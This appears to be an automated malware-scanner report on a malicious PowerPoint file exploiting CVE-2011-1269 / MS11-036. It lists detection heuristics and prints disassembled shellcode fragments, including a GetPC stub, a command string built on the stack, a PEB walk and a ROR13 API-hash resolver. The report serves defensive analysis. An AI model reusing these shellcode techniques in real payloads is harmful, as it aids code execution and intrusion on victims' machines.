MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
The critical heuristic 'PPT_BINARY_MEMORY_CORRUPTION_PAYLOAD' indicates exploitation of CVE-2011-1269 / MS11-036, a known vulnerability in PowerPoint that allows for remote code execution. The presence of heuristics related to PEB access, API hash resolution, VirtualAlloc, LoadLibrary, and GetProcAddress suggests the execution of shellcode that likely performs process injection or loads additional malicious components. No document body or script content was available for further analysis.
Heuristics 7
-
PowerPoint binary-format RCE payload — CVE-2011-1269 / MS11-036 family critical CVE likely PPT_BINARY_MEMORY_CORRUPTION_PAYLOADA macro-free binary PowerPoint (.ppt) document carries a native code payload (embedded PE and/or process-injection shellcode), staged in an oversized binary stream. Legitimate presentations do not embed executables or shellcode; this is the payload half of a PowerPoint memory-corruption exploit (CVE-2011-1269 / MS11-036 family; the same record-overflow delivery is shared with CVE-2010-2572 and CVE-2009-0556).
-
x86 GetPC stub (CALL $+5; POP EAX) high SC_GETPC_CALLx86 GetPC stub (CALL $+5; POP EAX)
Disassembly
x86 disassembly · validity: code (0.929) — 3/3 branch targets land on an instruction boundary (100% coherence)00000F51 e800000000 call 0xf56 00000F56 58 pop eax 00000F57 83e8fb sub eax, -5 00000F5A c3 ret 00000F5B f3a4 rep movsb byte ptr es:[edi], byte ptr [esi] 00000F5D 33c0 xor eax, eax 00000F5F 8bcb mov ecx, ebx 00000F61 f3aa rep stosb byte ptr es:[edi], al 00000F63 5f pop edi 00000F64 5e pop esi 00000F65 ff7704 push dword ptr [edi + 4] 00000F68 ff560c call dword ptr [esi + 0xc] 00000F6B 8d9e4c020000 lea ebx, [esi + 0x24c] 00000F71 53 push ebx 00000F72 ff5624 call dword ptr [esi + 0x24] 00000F75 c6040322 mov byte ptr [ebx + eax], 0x22 00000F79 c644030100 mov byte ptr [ebx + eax + 1], 0 00000F7E 83eb20 sub ebx, 0x20 00000F81 c7431c65202022 mov dword ptr [ebx + 0x1c], 0x22202065 00000F88 c74318742e6578 mov dword ptr [ebx + 0x18], 0x78652e74 00000F8F c743146572706e mov dword ptr [ebx + 0x14], 0x6e707265 00000F96 c7431020706f77 mov dword ptr [ebx + 0x10], 0x776f7020 00000F9D c7430c74617274 mov dword ptr [ebx + 0xc], 0x74726174 00000FA4 c743082f632073 mov dword ptr [ebx + 8], 0x7320632f 00000FAB c7 .byte 0xc7 00000FAC 43 inc ebx 00000FAD 0465 add al, 0x65 00000FAF 7865 js 0x1016
-
PEB access via FS segment (x86) high SC_PEB_ACCESSPEB access via FS segment (x86)
Disassembly
x86 disassembly · validity: uncertain (0.504) — 8/10 branch targets land on an instruction boundary (80% coherence)00000FED 64a130000000 mov eax, dword ptr fs:[0x30] 00000FF3 85c0 test eax, eax 00000FF5 7813 js 0x100a 00000FF7 3e8b400c mov eax, dword ptr ds:[eax + 0xc] 00000FFB 3e8b701c mov esi, dword ptr ds:[eax + 0x1c] 00000FFF ad lodsd eax, dword ptr [esi] 00001000 3e8b5e08 mov ebx, dword ptr ds:[esi + 8] 00001004 3e8b6808 mov ebp, dword ptr ds:[eax + 8] 00001008 eb0d jmp 0x1017 0000100A 3e8b4034 mov eax, dword ptr ds:[eax + 0x34] 0000100E 3e8ba8b8000000 mov ebp, dword ptr ds:[eax + 0xb8] 00001015 33db xor ebx, ebx 00001017 8bc5 mov eax, ebp 00001019 5e pop esi 0000101A 5d pop ebp 0000101B c20400 ret 4 0000101E 53 push ebx 0000101F 55 push ebp 00001020 56 push esi 00001021 57 push edi 00001022 368b6c2418 mov ebp, dword ptr ss:[esp + 0x18] 00001027 368b453c mov eax, dword ptr ss:[ebp + 0x3c] 0000102B 368b540578 mov edx, dword ptr ss:[ebp + eax + 0x78] 00001030 03d5 add edx, ebp 00001032 3e8b4a18 mov ecx, dword ptr ds:[edx + 0x18] 00001036 3e8b5a20 mov ebx, dword ptr ds:[edx + 0x20] 0000103A 03dd add ebx, ebp 0000103C e338 jecxz 0x1076 0000103E 49 dec ecx 0000103F 3e8b348b mov esi, dword ptr ds:[ebx + ecx*4] 00001043 03f5 add esi, ebp 00001045 33ff xor edi, edi 00001047 fc cld 00001048 33c0 xor eax, eax 0000104A ac lodsb al, byte ptr [esi] 0000104B 3ac4 cmp al, ah
-
PEB API-hash resolver high SC_API_HASH_RESOLVERPEB access followed by ROR13-style API hashing, a common position-independent shellcode import resolver
Disassembly
x86 disassembly · validity: uncertain (0.504) — 8/10 branch targets land on an instruction boundary (80% coherence)00000FED 64a130000000 mov eax, dword ptr fs:[0x30] 00000FF3 85c0 test eax, eax 00000FF5 7813 js 0x100a 00000FF7 3e8b400c mov eax, dword ptr ds:[eax + 0xc] 00000FFB 3e8b701c mov esi, dword ptr ds:[eax + 0x1c] 00000FFF ad lodsd eax, dword ptr [esi] 00001000 3e8b5e08 mov ebx, dword ptr ds:[esi + 8] 00001004 3e8b6808 mov ebp, dword ptr ds:[eax + 8] 00001008 eb0d jmp 0x1017 0000100A 3e8b4034 mov eax, dword ptr ds:[eax + 0x34] 0000100E 3e8ba8b8000000 mov ebp, dword ptr ds:[eax + 0xb8] 00001015 33db xor ebx, ebx 00001017 8bc5 mov eax, ebp 00001019 5e pop esi 0000101A 5d pop ebp 0000101B c20400 ret 4 0000101E 53 push ebx 0000101F 55 push ebp 00001020 56 push esi 00001021 57 push edi 00001022 368b6c2418 mov ebp, dword ptr ss:[esp + 0x18] 00001027 368b453c mov eax, dword ptr ss:[ebp + 0x3c] 0000102B 368b540578 mov edx, dword ptr ss:[ebp + eax + 0x78] 00001030 03d5 add edx, ebp 00001032 3e8b4a18 mov ecx, dword ptr ds:[edx + 0x18] 00001036 3e8b5a20 mov ebx, dword ptr ds:[edx + 0x20] 0000103A 03dd add ebx, ebp 0000103C e338 jecxz 0x1076 0000103E 49 dec ecx 0000103F 3e8b348b mov esi, dword ptr ds:[ebx + ecx*4] 00001043 03f5 add esi, ebp 00001045 33ff xor edi, edi 00001047 fc cld 00001048 33c0 xor eax, eax 0000104A ac lodsb al, byte ptr [esi] 0000104B 3ac4 cmp al, ah
-
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
-
Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
Open this report in the interactive analyzer, or submit your own file for analysis.